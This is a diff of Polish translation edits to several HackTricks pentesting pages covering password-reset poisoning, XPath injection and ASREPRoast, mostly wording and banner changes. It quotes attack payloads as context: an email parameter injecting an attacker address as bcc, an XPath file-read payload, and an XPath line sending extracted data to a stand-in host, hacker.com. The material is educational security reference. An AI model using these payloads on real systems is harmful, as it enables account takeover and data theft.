* [Artykuł Acunetix o zatruciu resetowania hasła](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@ -85,7 +85,7 @@ POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Dodaj email atakującego jako drugi parametr używając ,
* Dodaj email atakującego jako drugi parametr, używając ,
```php
POST /resetPassword
[...]
@ -99,7 +99,7 @@ POST /resetPassword
```
* **Kroki łagodzenia**:
* Prawidłowo analizuj i waliduj parametry e-mailowe po stronie serwera.
* Używaj przygotowanych instrukcji lub zapytań z parametrami, aby zapobiec atakom typu injection.
* Używaj przygotowanych zapytań lub zapytań z parametrami, aby zapobiec atakom typu injection.
* **Referencje**:
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
@ -198,14 +198,14 @@ POST /api/changepass
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hacking w czasie rzeczywistym**\
**Aktualności o Hacking w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze ogłoszenia**\
@ -219,11 +219,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
<details>
<summary>Wsparcie HackTricks</summary>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -10,17 +10,17 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
Zaangażuj się w treści, które zgłębiają dreszczyk emocji i wyzwania związane z hackingiem
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
@ -51,23 +51,23 @@ Przykłady wyrażeń ścieżkowych i ich wyniki obejmują:
* **bookstore**: Wybierane są wszystkie węzły o nazwie "bookstore".
* **/bookstore**: Wybierany jest element główny bookstore. Zauważono, że absolutna ścieżka do elementu jest reprezentowana przez ścieżkę zaczynającą się od ukośnika (/).
* **bookstore/book**: Wybierane są wszystkie elementy book, które są dziećmi bookstore.
* **//book**: Wybierane są wszystkie elementy book w dokumencie, niezależnie od ich lokalizacji.
* **bookstore//book**: Wybierane są wszystkie elementy book, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore.
* **bookstore/book**: Wybierane są wszystkie elementy książek, które są dziećmi bookstore.
* **//book**: Wybierane są wszystkie elementy książek w dokumencie, niezależnie od ich lokalizacji.
* **bookstore//book**: Wybierane są wszystkie elementy książek, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore.
* **//@lang**: Wybierane są wszystkie atrybuty o nazwie lang.
### Wykorzystanie predykatów
Predykaty są używane do precyzowania wyborów:
* **/bookstore/book\[1]**: Wybierany jest pierwszy element book będący dzieckiem elementu bookstore. Obejście dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako \[0], polega na ustawieniu SelectionLanguage na XPath za pomocą JavaScript.
* **/bookstore/book\[last()]**: Wybierany jest ostatni element book będący dzieckiem elementu bookstore.
* **/bookstore/book\[last()-1]**: Wybierany jest przedostatni element book będący dzieckiem elementu bookstore.
* **/bookstore/book\[position()<3]**: Wybierane dwa pierwsze elementy book będące dziećmi elementu bookstore.
* **//title\[@lang]**: Wybierane są wszystkie elementy title z atrybutem lang.
* **//title\[@lang='en']**: Wybierane są wszystkie elementy title z wartością atrybutu "lang" równą "en".
* **/bookstore/book\[price>35.00]**: Wybierane są wszystkie elementy book w bookstore z ceną większą niż 35.00.
* **/bookstore/book\[price>35.00]/title**: Wybierane są wszystkie elementy title elementów book w bookstore z ceną większą niż 35.00.
* **/bookstore/book\[1]**: Wybierany jest pierwszy element książki będący dzieckiem elementu bookstore. Obejście dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako \[0], polega na ustawieniu SelectionLanguage na XPath za pomocą JavaScript.
* **/bookstore/book\[last()]**: Wybierany jest ostatni element książki będący dzieckiem elementu bookstore.
* **/bookstore/book\[last()-1]**: Wybierany jest przedostatni element książki będący dzieckiem elementu bookstore.
* **/bookstore/book\[position()<3]**: Wybierane dwa pierwsze elementy książek będące dziećmi elementu bookstore.
* **//title\[@lang]**: Wybierane są wszystkie elementy tytułu z atrybutem lang.
* **//title\[@lang='en']**: Wybierane są wszystkie elementy tytułu z wartością atrybutu "lang" równą "en".
* **/bookstore/book\[price>35.00]**: Wybierane są wszystkie elementy książek w bookstore z ceną większą niż 35.00.
* **/bookstore/book\[price>35.00]/title**: Wybierane są wszystkie elementy tytułu elementów książek w bookstore z ceną większą niż 35.00.
### Obsługa nieznanych węzłów
@ -81,7 +81,7 @@ Dalsze przykłady obejmują:
* **/bookstore/\***: Wybiera wszystkie węzły elementów dzieci elementu bookstore.
* **//\***: Wybiera wszystkie elementy w dokumencie.
* **//title\[@\*]**: Wybiera wszystkie elementy title z co najmniej jednym atrybutem dowolnego rodzaju.
* **//title\[@\*]**: Wybiera wszystkie elementy tytułu z co najmniej jednym atrybutem dowolnego rodzaju.
## Przykład
```xml
@ -265,7 +265,7 @@ flag += al
print("[+] Flag: " + flag)
break
```
### Odczytaj plik
### Przeczytaj plik
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
@ -294,7 +294,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -305,7 +305,7 @@ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związa
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -318,8 +318,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -37,7 +37,7 @@ ASREPRoast to atak bezpieczeństwa, który wykorzystuje użytkowników, którzy
Główne wymagania dla tego ataku to:
* **Brak wstępnej autoryzacji Kerberos**: Użytkownicy docelowi nie mogą mieć włączonej tej funkcji zabezpieczeń.
* **Połączenie z Kontrolerem Domeny (DC)**: Atakujący potrzebują dostępu do DC, aby wysyłać żądania i odbierać zaszyfrowane wiadomości.
* **Połączenie z Kontrolerem Domeny (DC)**: Atakujący muszą mieć dostęp do DC, aby wysyłać żądania i odbierać zaszyfrowane wiadomości.
* **Opcjonalne konto domenowe**: Posiadanie konta domenowego pozwala atakującym na bardziej efektywne identyfikowanie podatnych użytkowników za pomocą zapytań LDAP. Bez takiego konta atakujący muszą zgadywać nazwy użytkowników.
#### Enumerating vulnerable users (need domain credentials)
@ -115,9 +115,9 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
@ -126,7 +126,7 @@ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związa
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
**Latest Announcements**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!